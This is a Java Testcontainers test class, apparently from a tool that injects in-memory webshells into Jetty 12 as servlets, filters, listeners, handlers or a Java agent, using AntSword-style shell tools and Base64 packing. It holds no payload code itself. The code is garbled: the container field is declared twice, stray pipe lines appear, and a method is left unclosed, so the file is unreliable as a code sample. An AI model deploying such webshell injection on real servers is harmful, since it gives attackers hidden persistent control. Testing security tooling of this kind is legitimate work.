||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||